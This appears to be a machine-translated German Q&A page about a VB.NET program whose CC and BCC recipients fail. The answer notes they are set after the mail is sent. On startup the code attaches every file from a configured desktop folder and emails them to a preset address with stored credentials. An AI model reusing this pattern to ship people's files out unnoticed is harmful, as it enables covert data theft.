2017-04-19 2 views
-2
Imports System.Net.Mail 
Imports System.IO 
Public Class Form1 
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load 
    Try 
     Dim mail As New MailMessage() 
     Dim SmtpServer As New SmtpClient(My.Settings.smtpserver) 
     mail.From = New MailAddress(My.Settings.from) 
     mail.[To].Add(My.Settings.destination) 
     mail.Subject = "Program" 
     mail.Body = "Hi this is a msg form .net application" 

     Dim path As String = My.Settings.desktop 
     Dim dir As New DirectoryInfo(path) 
     Dim filesInDirectory As FileInfo() = dir.GetFiles() 
     Dim attach As System.Net.Mail.Attachment 
     For Each file In filesInDirectory 
      attach = New System.Net.Mail.Attachment(file.FullName) 
      mail.Attachments.Add(attach) 
     Next 

     SmtpServer.Port = My.Settings.port 
     SmtpServer.Credentials = New 
System.Net.NetworkCredential(My.Settings.username, My.Settings.password) 
     SmtpServer.EnableSsl = True 

     SmtpServer.Send(mail) 
     MsgBox("Sent Successfuly!", MsgBoxStyle.Information, "Send!") 

     mail.CC.Add(My.Settings.CC) 
     mail.Bcc.Add(My.Settings.BCC) 

    Catch ex As Exception 
     MsgBox("Failed Sending Email!", MsgBoxStyle.Critical, "Failed!") 
    End Try 
    Application.Exit() 
End Sub 

End Classder cc und bcc arbeitet nicht, dass ich es durch eine von ihnen

der cc und bcc funktioniert nicht senden kann ich nicht durch cc senden kann nicht noch bcc ist es irgendein Problem mit meinem Code? Der Benutzer kann diesen CC und BCC wie Gmail verwenden.

+0

Ihr Code sieht gut aus, einen Unterbrecher Punkt auf der mail.cc setzen und sehen, was my.settings.cc hat in es –

+0

was meinst du Brecher? –

+0

und die cc und bcc ist leer in my.settings.cc –

Antwort

1

Nun - Sie setzen CC und BCC, nachdem Sie die E-Mail gesendet haben. Das ist dein Problem. Verschieben Sie die Zeilen:

 


    mail.CC.Add(My.Settings.CC) 
    mail.Bcc.Add(My.Settings.BCC) 

 

Bis zu dem Sie Mail.Subject setzen usw.

+0

immer noch nicht funktioniert –

+0

ich legte es an der Spitze des Betreff unter Ziel, aber immer noch nicht funktioniert –

+0

Nun - das bedeutet, Sie haben ein zusätzliches Problem. Aber das Einstellen der cc und bcc nach dem Senden wird sicherlich nie funktionieren. –

Verwandte Themen